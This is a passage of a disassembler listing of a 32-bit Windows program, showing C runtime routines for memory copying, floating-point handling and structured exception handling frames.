		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		movsb
		lds	eax, [ecx+0]
		lodsb
		lds	eax, [ecx+0]
		mov	ah, 0C5h
		inc	ecx
		add	[ebp+eax*8-3A3BFFBFh], bh
		inc	ecx
		add	ah, cl
		lds	eax, [ecx+0]
		aam	0C5h
		inc	ecx


loc_41C59F:				; DATA XREF: sub_41C310+1C2r
		add	bh, ah
		lds	eax, [ecx+0]
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41C5E7:				; CODE XREF: sub_41C310+1C2j
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41C5F0	dd offset loc_41C600	; DATA XREF: sub_41C310+1B7r
					; sub_41C310:loc_41C4F4r ...
		dd offset loc_41C608
		dd offset loc_41C618
		dd offset loc_41C62C
; ---------------------------------------------------------------------------


loc_41C600:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C608:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C618:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C62C:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41C310	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C645	proc near		; CODE XREF: sub_40BFEC+40p
					; ___:0040E2A0p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41AFE0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420510
		add	esp, 10h
		leave
		retn
sub_41C645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C679(double)

sub_41C679	proc near		; CODE XREF: sub_40D031+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A960
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C6FF
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C6E2
		cmp	eax, 2
		jle	short loc_41C6D4
		cmp	eax, 3
		jnz	short loc_41C6E2
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C6D4:				; CODE XREF: sub_41C679+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C6E2:				; CODE XREF: sub_41C679+3Aj
					; sub_41C679+44j
		fld	[ebp+arg_0]
		fadd	dbl_427710
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41C73C
; ---------------------------------------------------------------------------


loc_41C6FF:				; CODE XREF: sub_41C679+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C722


loc_41C714:				; CODE XREF: sub_41C679+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C722:				; CODE XREF: sub_41C679+99j
		test	bl, 20h
		jnz	short loc_41C714
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_41C73C:				; CODE XREF: sub_41C679+84j
		call	sub_421014
		add	esp, 1Ch


loc_41C744:				; CODE XREF: sub_41C679+59j
					; sub_41C679+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C679	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C748	proc near		; CODE XREF: ___:0041B78Dp
					; sub_4218B2+21p
					; DATA XREF: ...
		call	sub_41C760
		call	sub_4218B2
		mov	dword_4DB99C, eax
		call	sub_421862
		fnclex
		retn
sub_41C748	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41C760	proc near		; CODE XREF: sub_41C748p
		mov	eax, offset sub_421CA0
		mov	off_43CF74, offset sub_421935
		mov	off_43CF70, eax
		mov	off_43CF78, offset sub_42199B
		mov	off_43CF7C, offset sub_4218DB
		mov	off_43CF80, offset sub_421983
		mov	off_43CF84, eax
		retn
sub_41C760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C798	proc near		; CODE XREF: sub_40D031+1Bp
					; sub_40D031+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41C798	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C7BF(double)

sub_41C7BF	proc near		; CODE XREF: sub_40D07D+82p
					; ___:0040DD3Dp

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A978
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C845
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C828
		cmp	eax, 2
		jle	short loc_41C81A
		cmp	eax, 3
		jnz	short loc_41C828
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C81A:				; CODE XREF: sub_41C7BF+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C828:				; CODE XREF: sub_41C7BF+3Aj
					; sub_41C7BF+44j
		fld	[ebp+arg_0]
		fadd	dbl_427710
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41C882
; ---------------------------------------------------------------------------


loc_41C845:				; CODE XREF: sub_41C7BF+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C868


loc_41C85A:				; CODE XREF: sub_41C7BF+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C868:				; CODE XREF: sub_41C7BF+99j
		test	bl, 20h
		jnz	short loc_41C85A
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_41C882:				; CODE XREF: sub_41C7BF+84j
		call	sub_421014
		add	esp, 1Ch


loc_41C88A:				; CODE XREF: sub_41C7BF+59j
					; sub_41C7BF+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C7BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C88E	proc near		; CODE XREF: ___:00422182p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41C88E	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41C8C2	proc near		; CODE XREF: sub_4222C2+199p
					; sub_422486+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C8C9	proc near		; CODE XREF: sub_4222C2+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41C8D0	proc near		; CODE XREF: sub_41CA82+5Cp
					; sub_422111:loc_422142p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41C8F8
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_42675C
sub_41C8D0	endp

; ---------------------------------------------------------------------------


loc_41C8F8:				; DATA XREF: sub_41C8D0+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_41C91F:				; CODE XREF: ___:00426DFCj
					; ___:00426E19j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_421D16
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C955	proc near		; CODE XREF: sub_42218C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41C9A9
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422510
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41C955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9A9	proc near		; DATA XREF: sub_41C955+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		pop	ebp
		retn
sub_41C9A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9CE	proc near		; CODE XREF: sub_421F58+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41CA82
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41CA54
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DB9F4
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_41CA54:				; DATA XREF: sub_41C9CE+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41CA71
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41CA7A
; ---------------------------------------------------------------------------


loc_41CA71:				; CODE XREF: sub_41C9CE+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41CA7A:				; CODE XREF: sub_41C9CE+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C9CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA82	proc near		; DATA XREF: sub_41C9CE+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41CAA5
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41CAF2
; ---------------------------------------------------------------------------


loc_41CAA5:				; CODE XREF: sub_41CA82+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41CAE3
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41C8D0
; ---------------------------------------------------------------------------


loc_41CAE3:				; CODE XREF: sub_41CA82+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41CAF2:				; CODE XREF: sub_41CA82+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CA82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAF7	proc near		; CODE XREF: sub_421DB1+C6p
					; sub_421F58+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41CB4E


loc_41CB15:				; CODE XREF: sub_41CAF7+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB1F
		call	sub_4225B2


loc_41CB1F:				; CODE XREF: sub_41CAF7+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41CB34
		cmp	ecx, [eax+8]
		jle	short loc_41CB39


loc_41CB34:				; CODE XREF: sub_41CAF7+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB45


loc_41CB39:				; CODE XREF: sub_41CAF7+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41CB45:				; CODE XREF: sub_41CAF7+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41CB15
		mov	eax, [ebp+var_4]


loc_41CB4E:				; CODE XREF: sub_41CAF7+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41CB62
		cmp	esi, eax
		jbe	short loc_41CB67


loc_41CB62:				; CODE XREF: sub_41CAF7+65j
		call	sub_4225B2


loc_41CB67:				; CODE XREF: sub_41CAF7+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41CAF7	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41CB74	proc near		; CODE XREF: sub_4234B8+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_41CB8C
		push	[ebp+arg_0]
		call	sub_42675C
sub_41CB74	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CB8C	proc near		; DATA XREF: sub_41CB74+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CB8C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CB94	proc near		; DATA XREF: sub_41CBB6+Ao
					; sub_41CC1E+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41CBB5
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41CBB5:				; CODE XREF: sub_41CB94+10j
		retn
sub_41CB94	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBB6	proc near		; CODE XREF: sub_422232+Dp
					; sub_4234B8+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41CB94
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41CBD3:				; CODE XREF: sub_41CBB6:loc_41CC0Ej
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41CC10
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41CC10
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41CC0E
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41CC4A
		call	dword ptr [ebx+esi*4+8]


loc_41CC0E:				; CODE XREF: sub_41CBB6+44j
		jmp	short loc_41CBD3
; ---------------------------------------------------------------------------


loc_41CC10:				; CODE XREF: sub_41CBB6+2Aj
					; sub_41CBB6+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41CBB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC1E	proc near		; CODE XREF: sub_422252+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41CB94
		jnz	short locret_41CC40
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41CC40
		mov	eax, 1

locret_41CC40:				; CODE XREF: sub_41CC1E+10j
					; sub_41CC1E+1Bj
		retn
sub_41CC1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC41	proc near		; CODE XREF: sub_422510+1Ep
					; sub_422510+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A97C
		jmp	short loc_41CC54
sub_41CC41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC4A	proc near		; CODE XREF: sub_41CBB6+4Fp
					; sub_4234B8+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A97C
		mov	ecx, [ebp+8]


loc_41CC54:				; CODE XREF: sub_41CC41+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41CC4A	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41CC64	proc near		; CODE XREF: sub_40D07D+5p
					; sub_40D21F+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41CC64	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CC83	proc near		; CODE XREF: sub_40D6B4+26p
					; ___:004264F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B0B1
		pop	ecx
		retn
sub_41CC83	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC90	proc near		; CODE XREF: sub_40D725+3Ap
					; sub_41DEA2+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CCB0
		cmp	edi, eax
		jb	loc_41CE28


loc_41CCB0:				; CODE XREF: sub_41CC90+16j
		test	edi, 3
		jnz	short loc_41CCCC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------


loc_41CCCC:				; CODE XREF: sub_41CC90+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CCE4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CCEC+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CCE4:				; CODE XREF: sub_41CC90+46j
		jmp	dword ptr loc_41CDE8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CCEC:				; CODE XREF: sub_41CC90+31j
					; sub_41CC90+8Ej ...
		jmp	off_41CD6C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_41CD00
		dd offset loc_41CD2C
		dd offset loc_41CD50
; ---------------------------------------------------------------------------


loc_41CD00:				; DATA XREF: sub_41CC90+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CD2C:				; DATA XREF: sub_41CC90+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CD50:				; DATA XREF: sub_41CC90+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
